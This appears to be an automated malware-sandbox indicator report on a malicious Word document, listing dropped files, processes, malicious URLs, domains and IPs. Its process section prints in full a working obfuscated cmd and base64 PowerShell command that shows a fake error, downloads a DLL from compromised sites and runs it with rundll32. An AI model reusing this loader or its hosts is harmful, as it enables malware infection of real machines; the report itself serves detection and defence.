IOCReport

loading gif

Files

File Path
Type
Category
Malicious
PO# 01222021.doc
Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Subject: Steel Cambridgeshire productivity orchestration Handmade Soft Gloves program Regional Gorgeous quantify payment RSS, Author: Camila Tirado, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Fri Jan 22 16:11:00 2021, Last Saved Time/Date: Fri Jan 22 16:11:00 2021, Number of Pages: 1, Number of Words: 3367, Number of Characters: 19194, Security: 8
initial sample
 malicious
C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
dropped
 malicious
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{B6B610EC-9B88-4A7A-BAAD-75353DCC52EC}.tmp
data
dropped
 clean
C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{D276006A-4137-4F1B-A238-F5A3AEDA2F09}.tmp
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\PO# 01222021.LNK
MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Wed Aug 26 14:08:13 2020, mtime=Wed Aug 26 14:08:13 2020, atime=Wed Jan 27 02:55:34 2021, length=172032, window=hide
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat
ASCII text, with CRLF line terminators
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
data
dropped
 clean
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QEA56CXGKG1P2T41MR9D.temp
data
dropped
 clean
C:\Users\user\Desktop\~$# 01222021.doc
data
dropped
 clean

Processes

Path
Cmdline
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
 malicious
C:\Windows\System32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IAAgAFMAdgAgACAAUABCADUAbwAgACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA1AH0AewAzAH0AewAwAH0AewA2AH0AewA0AH0AIgAgAC0ARgAgACcAVAAnACwAJwBFAE0ALgBJACcALAAnAFMAWQBzAFQAJwAsACcAZQBDACcALAAnAHkAJwAsACcAbwAuAEQASQBSACcALAAnAE8AUgAnACkAIAApACAAOwAgACAAUwBFAHQALQBJAFQARQBtACAAdgBBAFIASQBhAEIATABlADoAbQA3AGEAOQAgACgAWwB0AHkAcABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMwB9AHsANQB9AHsAMQB9AHsANgB9AHsAMAB9AHsANwB9ACIAIAAtAGYAJwBuACcALAAnAEkAQwBFAHAATwBJAE4AdABtACcALAAnAG4AZQBUACcALAAnAC4AJwAsACcAcwB5AFMAdABlAE0ALgAnACwAJwBzAEUAUgB2ACcALAAnAEEAJwAsACcAYQBHAGUAcgAnACkAIAApACAAIAA7ACAAIAAkAEkAaAB2ADgAOQBfAGcAPQAkAE0AOQAxAEcAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEgAMgAzAEQAOwAkAEQAOQA0AE0APQAoACgAJwBQADcAJwArACcAMgAnACkAKwAnAFgAJwApADsAIAAoAGcARQBUAC0AdgBhAHIAaQBhAEIAbABlACAAcABiADUAbwAgAC0AVgBBACkAOgA6ACIAYwByAEUAYQBUAGUAZABpAGAAUgBlAEMAdABgAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA5AGsAJwArACcAdABOAGsAJwApACsAJwAyACcAKwAnAGQAJwArACgAJwB1AGgAYgA5ACcAKwAnAGsAdAAnACsAJwBHAHgAbABoACcAKQArACgAJwA5AGkAJwArACcAYQA5AGsAdAAnACkAKQAuACIAcgBFAGAAUABsAGEAQwBlACIAKAAoACcAOQAnACsAJwBrAHQAJwApACwAJwBcACcAKQApACkAOwAkAEoAOAA3AEgAPQAoACcAUwAnACsAKAAnADMANgAnACsAJwBOACcAKQApADsAIAAoACAAIAB2AGEAUgBJAGEAYgBsAGUAIAAgAE0ANwBhADkAIAAgAC0AVgBBACAAIAApADoAOgAiAFMARQBjAHUAcgBpAFQAWQBwAGAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAMgBVAD0AKAAnAEUAJwArACgAJwBfACcAKwAnAF8ARQAnACkAKQA7ACQAUAAyADcAcABxAGUAMwAgAD0AIAAoACcARQA2ACcAKwAnAF8AUgAnACkAOwAkAEYAMwA5AEwAPQAoACgAJwBRACcAKwAnADkANAAnACkAKwAnAFcAJwApADsAJABBAGQAMQByAGEAOABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBLAGkAJwArACcAbQAnACkAKwAoACcATgBrADIAZAAnACsAJwB1AGgAYgAnACkAKwAnAEsAaQAnACsAJwBtACcAKwAoACcARwB4ACcAKwAnAGwAJwApACsAJwBoADkAJwArACgAJwBpACcAKwAnAGEASwBpACcAKQArACcAbQAnACkALQBSAGUAUABsAGEAYwBlACgAWwBDAEgAQQBSAF0ANwA1ACsAWwBDAEgAQQBSAF0AMQAwADUAKwBbAEMASABBAFIAXQAxADAAOQApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAMgA3AHAAcQBlADMAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFYAMgA4AFUAPQAoACcAQwA4ACcAKwAnADgASwAnACkAOwAkAE0AcgBpAHEAZAA1ADkAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABLAHcAMwA3ADkANAB4AD0AKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgAnACsAJwA6AC8ALwBjAGEAYgAuAG0AeQAnACsAJwBrAGYAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAoACcAWAAvACcAKwAnACEAJwApACsAJwB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAnAGgAJwArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGIAaABhACcAKQArACcAawAnACsAJwB0AGkAJwArACgAJwB2AHIAaQBuAGQAJwArACcALgAnACsAJwBjAG8AbQAvAGMAJwApACsAJwBnACcAKwAoACcAaQAnACsAJwAtAGIAaQBuACcAKQArACgAJwAvACcAKwAnAEoAQgBiAGIAJwArACcAOAAnACsAJwAvACEAeAAgAFsAIAAnACkAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgBhAG4AJwArACcAZABkAG4AYQAnACkAKwAoACcAYgBoAGEAcgBnACcAKwAnAGEAJwApACsAJwB2AGUAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGEAcwBzACcAKwAnAGUAdAAnACkAKwAnAC8AVwAnACsAKAAnADkAbwAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACAAJwArACcAWwAgACcAKwAoACcAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACgAJwAvAGkAZQAtACcAKwAnAGIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwB0AC4AbgAnACkAKwAnAGUAJwArACgAJwB0AC8AbwAnACsAJwBuACcAKwAnAGwAaQBuACcAKQArACcAZQAnACsAKAAnAC0AJwArACcAdABpAG0AZQByACcAKwAnAC0AJwApACsAKAAnAGsAJwArACcAdgBoACcAKQArACgAJwB4AHoAJwArACcALwBpACcAKQArACcAbAAnACsAKAAnAFgAJwArACcATAAvACEAeAAnACkAKwAoACcAIABbACAAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBnACcAKwAoACcAbwBjACcAKwAnAHAAJwArACcAaABvAG4AJwApACsAKAAnAGcAdABoACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAGwAJwApACsAJwBNACcAKwAoACcATQBDACcAKwAnAC8AIQAnACkAKwAoACcAeAAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBsACcAKwAnAGUAJwApACsAKAAnAHQAJwArACcAcwBjACcAKQArACcAbwBtACcAKwAnAHAAYQAnACsAKAAnAHIAJwArACcAZQBvAG4AJwApACsAKAAnAGwAJwArACcAaQBuACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AZAAnACsAJwBlACcAKQArACgAJwAuAGwAJwArACcAZQB0ACcAKQArACcAcwBjACcAKwAnAG8AbQAnACsAJwBwACcAKwAnAGEAJwArACcAcgBlACcAKwAnAG8AbgAnACsAKAAnAGwAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwArACcALwB3AFkAZAAvACcAKwAnACEAeAAgACcAKQArACcAWwAnACsAKAAnACAAcwAnACsAJwBoACAAYgAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAGMAYQAnACsAJwBtAGIAJwArACcAaQAnACsAKAAnAGEAcwB1AGgAJwArACcAaQAnACkAKwAoACcAcwB0AG8AcgAnACsAJwBpAGEAJwArACcALgBnAHIAbwB3ACcAKQArACcAbAAnACsAJwBhAGIAJwArACgAJwAuACcAKwAnAGUAcwAvAHcAcAAnACsAJwAtACcAKQArACcAYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwArACcAdAAnACsAKAAnAC8AaAAnACsAJwBHAGgAWQAnACkAKwAnADIALwAnACkALgAiAHIAYABlAHAAYABMAEEAQwBlACIAKAAoACcAeAAgACcAKwAnAFsAJwArACgAJwAgAHMAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE0AcgBpAHEAZAA1ADkALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAGwAYABpAHQAIgAoACQAQQA3ADYAQgAgACsAIAAkAEkAaAB2ADgAOQBfAGcAIAArACAAJABRADcAXwBSACkAOwAkAFYAOABfAEcAPQAoACgAJwBNACcAKwAnADUAMQAnACkAKwAnAFYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABYAGoAOABzADEANQAxACAAaQBuACAAJABLAHcAMwA3ADkANAB4ACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwB0AEUAbQAuAG4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAFQAKQAuACIAZABPAGAAdwBuAGAATABPAGEARABmAGkAbABlACIAKAAkAFgAagA4AHMAMQA1ADEALAAgACQAQQBkADEAcgBhADgAbgApADsAJABEADkANABKAD0AKAAnAEIAJwArACgAJwAzACcAKwAnADIARwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABBAGQAMQByAGEAOABuACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADMAMQAyADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQAQQBkADEAcgBhADgAbgAsACgAJwBBACcAKwAnAG4AeQAnACsAKAAnAFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgB0AE8AUwBUAFIAYABpAG4ARwAiACgAKQA7ACQAVgA3ADgAQgA9ACgAJwBTACcAKwAoACcAOAA1ACcAKwAnAEIAJwApACkAOwBiAHIAZQBhAGsAOwAkAFYAOABfAFAAPQAoACcARgA2ACcAKwAnADcATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMAA0AFYAPQAoACcASQAyACcAKwAnADYAWgAnACkA
malicious
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IAAgAFMAdgAgACAAUABCADUAbwAgACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA1AH0AewAzAH0AewAwAH0AewA2AH0AewA0AH0AIgAgAC0ARgAgACcAVAAnACwAJwBFAE0ALgBJACcALAAnAFMAWQBzAFQAJwAsACcAZQBDACcALAAnAHkAJwAsACcAbwAuAEQASQBSACcALAAnAE8AUgAnACkAIAApACAAOwAgACAAUwBFAHQALQBJAFQARQBtACAAdgBBAFIASQBhAEIATABlADoAbQA3AGEAOQAgACgAWwB0AHkAcABFAF0AKAAiAHsANAB9AHsAMgB9AHsAMwB9AHsANQB9AHsAMQB9AHsANgB9AHsAMAB9AHsANwB9ACIAIAAtAGYAJwBuACcALAAnAEkAQwBFAHAATwBJAE4AdABtACcALAAnAG4AZQBUACcALAAnAC4AJwAsACcAcwB5AFMAdABlAE0ALgAnACwAJwBzAEUAUgB2ACcALAAnAEEAJwAsACcAYQBHAGUAcgAnACkAIAApACAAIAA7ACAAIAAkAEkAaAB2ADgAOQBfAGcAPQAkAE0AOQAxAEcAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAEgAMgAzAEQAOwAkAEQAOQA0AE0APQAoACgAJwBQADcAJwArACcAMgAnACkAKwAnAFgAJwApADsAIAAoAGcARQBUAC0AdgBhAHIAaQBhAEIAbABlACAAcABiADUAbwAgAC0AVgBBACkAOgA6ACIAYwByAEUAYQBUAGUAZABpAGAAUgBlAEMAdABgAG8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwA5AGsAJwArACcAdABOAGsAJwApACsAJwAyACcAKwAnAGQAJwArACgAJwB1AGgAYgA5ACcAKwAnAGsAdAAnACsAJwBHAHgAbABoACcAKQArACgAJwA5AGkAJwArACcAYQA5AGsAdAAnACkAKQAuACIAcgBFAGAAUABsAGEAQwBlACIAKAAoACcAOQAnACsAJwBrAHQAJwApACwAJwBcACcAKQApACkAOwAkAEoAOAA3AEgAPQAoACcAUwAnACsAKAAnADMANgAnACsAJwBOACcAKQApADsAIAAoACAAIAB2AGEAUgBJAGEAYgBsAGUAIAAgAE0ANwBhADkAIAAgAC0AVgBBACAAIAApADoAOgAiAFMARQBjAHUAcgBpAFQAWQBwAGAAUgBvAFQAbwBDAGAAbwBMACIAIAA9ACAAKAAoACcAVABsACcAKwAnAHMAJwApACsAJwAxADIAJwApADsAJABYADIAMgBVAD0AKAAnAEUAJwArACgAJwBfACcAKwAnAF8ARQAnACkAKQA7ACQAUAAyADcAcABxAGUAMwAgAD0AIAAoACcARQA2ACcAKwAnAF8AUgAnACkAOwAkAEYAMwA5AEwAPQAoACgAJwBRACcAKwAnADkANAAnACkAKwAnAFcAJwApADsAJABBAGQAMQByAGEAOABuAD0AJABIAE8ATQBFACsAKAAoACgAJwBLAGkAJwArACcAbQAnACkAKwAoACcATgBrADIAZAAnACsAJwB1AGgAYgAnACkAKwAnAEsAaQAnACsAJwBtACcAKwAoACcARwB4ACcAKwAnAGwAJwApACsAJwBoADkAJwArACgAJwBpACcAKwAnAGEASwBpACcAKQArACcAbQAnACkALQBSAGUAUABsAGEAYwBlACgAWwBDAEgAQQBSAF0ANwA1ACsAWwBDAEgAQQBSAF0AMQAwADUAKwBbAEMASABBAFIAXQAxADAAOQApACwAWwBDAEgAQQBSAF0AOQAyACkAKwAkAFAAMgA3AHAAcQBlADMAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFYAMgA4AFUAPQAoACcAQwA4ACcAKwAnADgASwAnACkAOwAkAE0AcgBpAHEAZAA1ADkAPQAnAGgAJwAgACsAIAAnAHQAdAAnACAAKwAgACcAcAAnADsAJABLAHcAMwA3ADkANAB4AD0AKAAnAHgAIAAnACsAJwBbACcAKwAoACcAIABzAGgAJwArACcAIAAnACkAKwAoACcAYgAnACsAJwA6AC8ALwBjAGEAYgAuAG0AeQAnACsAJwBrAGYAJwApACsAJwBuAC4AJwArACgAJwBjAG8AbQAnACsAJwAvACcAKQArACcAYQAnACsAKAAnAGQAJwArACcAbQBpAG4AJwApACsAJwAvACcAKwAoACcAWAAvACcAKwAnACEAJwApACsAJwB4ACcAKwAoACcAIAAnACsAJwBbACAAcwAnACkAKwAnAGgAJwArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAGIAaABhACcAKQArACcAawAnACsAJwB0AGkAJwArACgAJwB2AHIAaQBuAGQAJwArACcALgAnACsAJwBjAG8AbQAvAGMAJwApACsAJwBnACcAKwAoACcAaQAnACsAJwAtAGIAaQBuACcAKQArACgAJwAvACcAKwAnAEoAQgBiAGIAJwArACcAOAAnACsAJwAvACEAeAAgAFsAIAAnACkAKwAnAHMAaAAnACsAKAAnACAAYgAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AdgBhAG4AJwArACcAZABkAG4AYQAnACkAKwAoACcAYgBoAGEAcgBnACcAKwAnAGEAJwApACsAJwB2AGUAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAGEAcwBzACcAKwAnAGUAdAAnACkAKwAnAC8AVwAnACsAKAAnADkAbwAnACsAJwAvACcAKQArACcAIQAnACsAJwB4ACAAJwArACcAWwAgACcAKwAoACcAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACgAJwAvAGkAZQAtACcAKwAnAGIAJwArACcAZQAnACkAKwAoACcAcwAnACsAJwB0AC4AbgAnACkAKwAnAGUAJwArACgAJwB0AC8AbwAnACsAJwBuACcAKwAnAGwAaQBuACcAKQArACcAZQAnACsAKAAnAC0AJwArACcAdABpAG0AZQByACcAKwAnAC0AJwApACsAKAAnAGsAJwArACcAdgBoACcAKQArACgAJwB4AHoAJwArACcALwBpACcAKQArACcAbAAnACsAKAAnAFgAJwArACcATAAvACEAeAAnACkAKwAoACcAIABbACAAcwAnACsAJwBoACAAJwApACsAKAAnAGIAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBnACcAKwAoACcAbwBjACcAKwAnAHAAJwArACcAaABvAG4AJwApACsAKAAnAGcAdABoACcAKwAnAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAnAGMAbwAnACsAJwBuAHQAJwArACgAJwBlAG4AdAAvACcAKwAnAGwAJwApACsAJwBNACcAKwAoACcATQBDACcAKwAnAC8AIQAnACkAKwAoACcAeAAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAYgA6AC8ALwAnACsAJwB3AHcAJwApACsAJwB3ACcAKwAoACcALgBsACcAKwAnAGUAJwApACsAKAAnAHQAJwArACcAcwBjACcAKQArACcAbwBtACcAKwAnAHAAYQAnACsAKAAnAHIAJwArACcAZQBvAG4AJwApACsAKAAnAGwAJwArACcAaQBuACcAKQArACgAJwBlACcAKwAnAC4AYwAnACkAKwAoACcAbwBtAC8AZAAnACsAJwBlACcAKQArACgAJwAuAGwAJwArACcAZQB0ACcAKQArACcAcwBjACcAKwAnAG8AbQAnACsAJwBwACcAKwAnAGEAJwArACcAcgBlACcAKwAnAG8AbgAnACsAKAAnAGwAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AJwArACcAYwBvAG0AJwArACcALwB3AFkAZAAvACcAKwAnACEAeAAgACcAKQArACcAWwAnACsAKAAnACAAcwAnACsAJwBoACAAYgAnACsAJwA6AC8AJwApACsAJwAvACcAKwAnAGMAYQAnACsAJwBtAGIAJwArACcAaQAnACsAKAAnAGEAcwB1AGgAJwArACcAaQAnACkAKwAoACcAcwB0AG8AcgAnACsAJwBpAGEAJwArACcALgBnAHIAbwB3ACcAKQArACcAbAAnACsAJwBhAGIAJwArACgAJwAuACcAKwAnAGUAcwAvAHcAcAAnACsAJwAtACcAKQArACcAYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AJwArACcAdAAnACsAKAAnAC8AaAAnACsAJwBHAGgAWQAnACkAKwAnADIALwAnACkALgAiAHIAYABlAHAAYABMAEEAQwBlACIAKAAoACcAeAAgACcAKwAnAFsAJwArACgAJwAgAHMAaAAnACsAJwAgAGIAJwApACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAG4AagAnACwAJwB0AHIAJwApACwAJwB5AGoAJwAsACcAcwBjACcALAAkAE0AcgBpAHEAZAA1ADkALAAnAHcAZAAnACkAWwAzAF0AKQAuACIAcwBQAGwAYABpAHQAIgAoACQAQQA3ADYAQgAgACsAIAAkAEkAaAB2ADgAOQBfAGcAIAArACAAJABRADcAXwBSACkAOwAkAFYAOABfAEcAPQAoACgAJwBNACcAKwAnADUAMQAnACkAKwAnAFYAJwApADsAZgBvAHIAZQBhAGMAaAAgACgAJABYAGoAOABzADEANQAxACAAaQBuACAAJABLAHcAMwA3ADkANAB4ACkAewB0AHIAeQB7ACgALgAoACcATgBlACcAKwAnAHcALQBPAGIAagBlAGMAJwArACcAdAAnACkAIABzAFkAUwB0AEUAbQAuAG4ARQBUAC4AdwBFAEIAQwBMAEkAZQBuAFQAKQAuACIAZABPAGAAdwBuAGAATABPAGEARABmAGkAbABlACIAKAAkAFgAagA4AHMAMQA1ADEALAAgACQAQQBkADEAcgBhADgAbgApADsAJABEADkANABKAD0AKAAnAEIAJwArACgAJwAzACcAKwAnADIARwAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABBAGQAMQByAGEAOABuACkALgAiAEwAYABFAG4AZwBgAFQASAAiACAALQBnAGUAIAAzADMAMQAyADAAKQAgAHsALgAoACcAcgB1AG4AZABsACcAKwAnAGwAMwAnACsAJwAyACcAKQAgACQAQQBkADEAcgBhADgAbgAsACgAJwBBACcAKwAnAG4AeQAnACsAKAAnAFMAdAByACcAKwAnAGkAJwApACsAJwBuAGcAJwApAC4AIgB0AE8AUwBUAFIAYABpAG4ARwAiACgAKQA7ACQAVgA3ADgAQgA9ACgAJwBTACcAKwAoACcAOAA1ACcAKwAnAEIAJwApACkAOwBiAHIAZQBhAGsAOwAkAFYAOABfAFAAPQAoACcARgA2ACcAKwAnADcATAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFEAMAA0AFYAPQAoACcASQAyACcAKwAnADYAWgAnACkA
 malicious
C:\Windows\System32\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
'C:\Windows\system32\rundll32.exe' C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll AnyString
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Users\user\Nk2duhb\Gxlh9ia\E6_R.dll',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Agilzgamuljjdwml\mwfcqgtqrgsdamx.pjv',NRUAmATPeNJ
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Agilzgamuljjdwml\mwfcqgtqrgsdamx.pjv',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Obbeicpozdckojlb\bhzpo.yca',VDZITWzoE
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Obbeicpozdckojlb\bhzpo.yca',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bpqpm\gwvn.lsl',KCoulWayDpJU
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Bpqpm\gwvn.lsl',#1
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Upjyf\ffrm.rmq',iFoslrVsudBDI
 malicious
C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe 'C:\Windows\SysWOW64\Upjyf\ffrm.rmq',#1
 malicious
C:\Windows\System32\msg.exe
msg user /v Word experienced an error trying to open the file.
clean
There are 5 hidden processes, click here to show them.

URLs

Name
IP
Malicious
http://cab.mykfn.com/admin/X/
103.143.46.51
 malicious
http://gocphongthe.com/wp-content/lMMC/
unknown
 malicious
http://ie-best.net/online-timer-kvhxz/ilXL/
unknown
 malicious
http://www.letscompareonline.com/de.letscompareonline.com/wYd/
unknown
 malicious
http://bhaktivrind.com/cgi-bin/JBbb8/
unknown
 malicious
http://cab.mykfn.com
unknown
 malicious
http://vanddnabhargave.com/asset/W9o/
unknown
 malicious
http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
unknown
 clean
http://www.windows.com/pctv.
unknown
 clean
http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
unknown
 clean
http://investor.msn.com
unknown
 clean
http://www.msnbc.com/news/ticker.txt
unknown
 clean
http://www.icra.org/vocabulary/.
unknown
 clean
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
unknown
 clean
http://ocsp.sectigo.com0
unknown
 clean
http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
unknown
 clean
http://investor.msn.com/
unknown
 clean
http://cambiasuhistoria.growlab.es/wp-content/hGhY2/
unknown
 clean
https://sectigo.com/CPS0D
unknown
 clean
http://www.%s.comPA
unknown
 clean
http://windowsmedia.com/redir/services.asp?WMPFriendly=true
unknown
 clean
http://www.hotmail.com/oe
unknown
 clean
There are 12 hidden URLs, click here to show them.

Domains

Name
IP
Malicious
cab.mykfn.com
103.143.46.51
 malicious

IPs

IP
Domain
Country
Active
Malicious
195.159.28.230
unknown
Norway
unknown
 malicious
69.38.130.14
unknown
United States
unknown
 malicious
103.143.46.51
unknown
India
unknown
 malicious

Registry

Path
Value
Malicious
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
br4
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
{s4
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
2u4
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
VBAFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ReviewToken
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EC65B
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
@SimSun
 clean
